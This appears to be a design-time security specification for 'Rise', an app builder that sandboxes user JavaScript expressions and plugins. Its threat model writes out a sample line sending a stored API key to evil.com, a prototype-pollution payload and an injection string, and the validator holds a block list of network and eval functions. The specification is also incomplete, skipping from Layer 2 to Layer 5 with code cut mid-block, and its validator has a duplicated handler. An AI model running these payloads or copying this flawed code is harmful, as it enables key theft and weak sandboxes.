SECURITY_SPEC.md

Security Specification

Comprehensive security architecture for Rise - protecting users while empowering them with code execution capabilities.

Philosophy

Rise faces a unique security challenge: we want to empower users to write arbitrary JavaScript (expressions, global functions) while protecting them from malicious code (from AI, plugins, or their own mistakes).

Core Security Principles:

1. Defense in Depth: Multiple layers of protection
2. Fail Secure: Errors should prevent execution, not allow bypass
3. Transparency: Users know what code is running and why
4. Escape Hatches: Users can override security for legitimate needs

---

Threat Model

Attack Vectors

1. Malicious User Expressions

// User types this in expression editor
"while(true){} // Infinite loop - freeze app"
"fetch('evil.com/steal?data=' + localStorage.getItem('apiKey'))"
"delete window.React // Break application"

2. Compromised AI Responses

{
  "expression": "__proto__.polluted = 'evil'; props.user.name",
  "aiGenerated": true
}

3. Malicious Plugins

// Plugin code could:
// - Read file system outside project
// - Exfiltrate API keys
// - Inject malicious code into generated files
// - Open backdoors in user's system

4. Injection Attacks

// User input that becomes code
const userName = "'; DROP TABLE users; --";
const expr = `user.name === '${userName}'`; // SQL-like injection

Assets to Protect

• API Keys: Claude/OpenAI keys worth real money
• User Code: Generated project is user's intellectual property
• File System: Project files and system files
• User Data: Credentials, environment variables
• Application Integrity: Prevent app corruption

Layer 1: Expression Sandboxing

Architecture

User Expression → Parser → Validator → Sandbox → Result
     ↓               ↓          ↓         ↓         ↓
  Raw String    AST Tree   Checks   VM2/Worker  Safe Value

Implementation

A. Expression Parser

Use @babel/parser for reliable JavaScript parsing:

import { parse } from '@babel/parser';
import traverse from '@babel/traverse';

class ExpressionParser {
  parse(expression: string): AST {
    try {
      return parse(expression, {
        sourceType: 'script',
        plugins: [], // No JSX, TypeScript, etc. in expressions
      });
    } catch (error) {
      throw new SecurityError('Invalid JavaScript syntax', {
        expression,
        error: error.message,
      });
    }
  }
}

B. AST Security Validator

class ExpressionValidator {
  private readonly BLOCKED_IDENTIFIERS = new Set([
    'eval', 'Function', 'setTimeout', 'setInterval',
    'XMLHttpRequest', 'fetch', 'WebSocket',
    '__proto__', 'prototype', 'constructor',
    'require', 'import', 'process', 'global',
  ]);

  private readonly ALLOWED_GLOBALS = new Set([
    'Math', 'Date', 'String', 'Number', 'Boolean',
    'Array', 'Object', 'JSON', 'console',
    'props', 'state', 'global', // Rise-specific
  ]);

  validate(ast: AST): ValidationResult {
    const violations: SecurityViolation[] = [];

    traverse(ast, {
      // Block dangerous function calls
      CallExpression: (path) => {
        const callee = path.node.callee;
        
        if (this.isBlockedFunction(callee)) {
          violations.push({
            type: 'BLOCKED_FUNCTION',
            location: path.node.loc,
            function: callee.name,
            message: `Function '${callee.name}' is not allowed`,
          });
        }
      },

      // Block property access on sensitive objects
      MemberExpression: (path) => {
        const object = path.node.object;
        const property = path.node.property;

        // Block __proto__, prototype manipulation
        if (this.isSensitiveProperty(property)) {
          violations.push({
            type: 'SENSITIVE_PROPERTY',
            location: path.node.loc,
            property: property.name,
            message: `Access to '${property.name}' is not allowed`,
          });
        }
      },

      // Block assignment to forbidden identifiers
      AssignmentExpression: (path) => {
        const left = path.node.left;
        
        if (this.isProtectedIdentifier(left)) {
          violations.push({
            type: 'PROTECTED_ASSIGNMENT',
            location: path.node.loc,
            message: 'Cannot modify protected identifiers',
          });
        }
      },

      // Block import/require statements
      ImportDeclaration: (path) => {
        violations.push({
          type: 'IMPORT_NOT_ALLOWED',
          location: path.node.loc,
          message: 'Import statements not allowed in expressions',
        });
      },

      CallExpression: (path) => {
        if (path.node.callee.name === 'require') {
          violations.push({
            type: 'REQUIRE_NOT_ALLOWED',
            location: path.node.loc,
            message: 'require() not allowed in expressions',
          });
        }
      },
    });

    return {
      isValid: violations.length === 0,
      violations,
    };
  }

  private isBlockedFunction(node: any): boolean {
    if (node.type === 'Identifier') {
      return this.BLOCKED_IDENTIFIERS.has(node.name);
    }
    return false;
  }

  private isSensitiveProperty(node: any): boolean {
    if (node.type === 'Identifier') {
      return this.BLOCKED_IDENTIFIERS.has(node.name);
    }
    return false;
  }
}

C. Execution Sandbox

Use VM2 for secure code execution:

import { VM } from 'vm2';

class ExpressionSandbox {
  private readonly MAX_EXECUTION_TIME = 100; // milliseconds
  private readonly MAX_MEMORY = 50 * 1024 * 1024; // 50MB

  async execute(
    expression: string,
    context: ExpressionContext
  ): Promise<any> {
    // Create isolated VM
    const vm = new VM({
      timeout: this.MAX_EXECUTION_TIME,
      sandbox: this.createSandbox(context),
      eval: false,
      wasm: false,
      fixAsync: true,
    });

    try {
      const result = vm.run(`(${expression})`);
      return result;
    } catch (error) {
      if (error.message.includes('timeout')) {
        throw new SecurityError('Expression exceeded time limit', {
          expression,
          limit: this.MAX_EXECUTION_TIME,
        });
      }
      throw new SecurityError('Expression execution failed', {
        expression,
        error: error.message,
      });
    }
  }

  private createSandbox(context: ExpressionContext): object {
    return {
      // Allowed globals
      Math,
      Date,
      String,
      Number,
      Boolean,
      Array,
      Object,
      JSON,
      console: {
        log: (...args: any[]) => {
          // Safe logging - prevent sensitive data exposure
          this.logSafely('expression-log', args);
        },
      },

      // Rise-specific context
      props: context.props,
      state: context.state,
      global: context.globalState,
      
      // Global functions (user-defined)
      ...context.globalFunctions,

      // Block access to dangerous globals
      window: undefined,
      document: undefined,
      process: undefined,
      require: undefined,
      module: undefined,
      exports: undefined,
    };
  }

  private logSafely(category: string, args: any[]): void {
    // Sanitize arguments before logging
    const sanitized = args.map(arg => {
      if (typeof arg === 'object') {
        return JSON.stringify(arg, this.sensitiveDataReplacer);
      }
      return arg;
    });
    
    console.log(`[${category}]`, ...sanitized);
  }

  private sensitiveDataReplacer(key: string, value: any): any {
    const sensitiveKeys = ['password', 'token', 'apiKey', 'secret'];
    if (sensitiveKeys.includes(key.toLowerCase())) {
      return '[REDACTED]';
    }
    return value;
  }
}

D. Web Worker Alternative (Browser)

For generated apps running in browser, use Web Workers:

// runtime/expressionWorker.ts
class ExpressionWorker {
  private worker: Worker;

  constructor() {
    this.worker = new Worker('/workers/expression-executor.js');
  }

  async evaluate(expression: string, context: any): Promise<any> {
    return new Promise((resolve, reject) => {
      const timeout = setTimeout(() => {
        this.worker.terminate();
        reject(new Error('Expression timeout'));
      }, 100);

      this.worker.onmessage = (e) => {
        clearTimeout(timeout);
        if (e.data.error) {
          reject(new Error(e.data.error));
        } else {
          resolve(e.data.result);
        }
      };

      this.worker.postMessage({ expression, context });
    });
  }
}

// workers/expression-executor.js
self.onmessage = function(e) {
  const { expression, context } = e.data;
  
  try {
    // Create function with limited scope
    const fn = new Function(
      'props', 'state', 'global',
      `'use strict'; return (${expression})`
    );
    
    const result = fn(context.props, context.state, context.global);
    self.postMessage({ result });
  } catch (error) {
    self.postMessage({ error: error.message });
  }
};

Layer 2: Plugin Security

Plugin Sandbox Architecture

class PluginSandbox {
  private readonly ALLOWED_MODULES = new Set([
    '@babel/parser',

Layer 5: Generated Code Security

Code Generation Safety

Security Monitoring & Logging

Audit Trail

class SecurityLogger {
  async logSecurityEvent(event: SecurityEvent): Promise<void> {
    const logEntry = {
      timestamp: new Date().toISOString(),
      type: event.type,
      severity: event.severity,
      details: this.sanitizeDetails(event.details),
      userId: event.userId,
      projectId: event.projectId,
    };

    // Write to secure log file
    await this.appendToLog(logEntry);

    // Alert on critical events
    if (event.severity === 'CRITICAL') {
      this.alertAdmin(logEntry);
    }
  }

  private sanitizeDetails(details: any): any {
    // Remove sensitive data from logs
    const sanitized = { ...details };
    
    const sensitiveKeys = [
      'apiKey', 'token', 'password', 'secret',
      'privateKey', 'credential',
    ];

    for (const key of sensitiveKeys) {
      if (key in sanitized) {
        sanitized[key] = '[REDACTED]';

Security Best Practices for Users

User Documentation

## Security Guidelines for Rise Users

### ✅ Safe Practices

1. **Expressions**
   - Use only trusted global functions
   - Avoid accessing external APIs
   - Test expressions with sample data first

2. **Plugins**
   - Install plugins from trusted sources only
   - Review plugin permissions before installing
   - Keep plugins updated

3. **API Keys**
   - Never share API keys
   - Rotate keys every 90 days
   - Set budget limits

### ⚠️ Warning Signs

- Expression takes > 1 second to execute
- Plugin requests unusual permissions
- Unexpected API costs
- Generated code contains warnings

### 🚨 Report Security Issues

Email: security@rise-builder.com
Response time: < 24 hours

Security Testing Requirements

Penetration Testing Checklist

- [ ] Expression XSS injection attempts
- [ ] Expression prototype pollution
- [ ] Expression infinite loops
- [ ] Expression memory exhaustion
- [ ] Plugin file system escape
- [ ] Plugin network access
- [ ] API key extraction attempts
- [ ] Generated code injection
- [ ] Path traversal in file operations
- [ ] SQL injection in database expressions

Automated Security Scanning

// Run on every PR
class SecurityScanner {
  async scanProject(): Promise<SecurityReport> {
    return {
      expressions: await this.scanExpressions(),
      plugins: await this.scanPlugins(),
      dependencies: await this.scanDependencies(),
      code: await this.scanGeneratedCode(),
    };
  }

  private async scanDependencies(): Promise<DependencyScan> {
    // Use npm audit
    const { execSync } = require('child_process');
    const output = execSync('npm audit --json', { encoding: 'utf8' });
    return JSON.parse(output);
  }
}

Security Compliance

GDPR Compliance

• API keys stored locally only
• No telemetry without consent
• User data never leaves their machine
• Clear data deletion process

SOC 2 Considerations (Future)

• Audit logging
• Access controls
• Encryption at rest
• Incident response plan

---

Incident Response Plan

Security Incident Levels

Level 1 - Low: Single user affected, no data breach Level 2 - Medium: Multiple users affected, potential exposure Level 3 - High: Data breach, API key compromise Level 4 - Critical: Systemic vulnerability, widespread impact

Response Procedures

class IncidentResponse {
  async handleIncident(incident: SecurityIncident): Promise<void> {
    // 1. Assess severity
    const level = this.assessSeverity(incident);

    // 2. Contain threat
    if (level >= 3) {
      await this.containThreat(incident);
    }

    // 3. Notify affected users
    if (level >= 2) {
      await this.notifyUsers(incident);
    }

    // 4. Patch vulnerability
    await this.deployPatch(incident);

    // 5. Post-mortem
    await this.conductPostMortem(incident);
  }

  private async containThreat(incident: SecurityIncident): Promise<void> {
    // Immediate actions:
    // - Disable affected plugins
    // - Revoke compromised API keys
    // - Block malicious expressions
    // - Rollback dangerous code generation
  }
}

Future Security Enhancements

Phase 1 (MVP)

• ✅ Expression sandboxing with VM2
• ✅ Plugin sandbox with resource limits
• ✅ API key encryption
• ✅ Input sanitization

Phase 2 (Post-MVP)

• Code signing for plugins
• Two-factor authentication for API key access
• Security dashboard for users
• Automated vulnerability scanning

Phase 3 (Future)

• SOC 2 certification
• Bug bounty program
• Formal security audit
• Penetration testing

Conclusion

Security is non-negotiable for Rise because we're executing user code. This specification provides:

1. Multiple defensive layers to prevent attacks
2. Clear implementation guidelines for developers
3. Monitoring and response procedures for incidents
4. User education to prevent mistakes

Critical: Every security measure must be implemented before MVP launch. A single vulnerability could destroy user trust permanently.

---

Next Steps:

1. Human dev review this specification
2. Implement expression sandbox in Phase 1
3. Add security tests to CI/CD pipeline
4. Create user security documentation
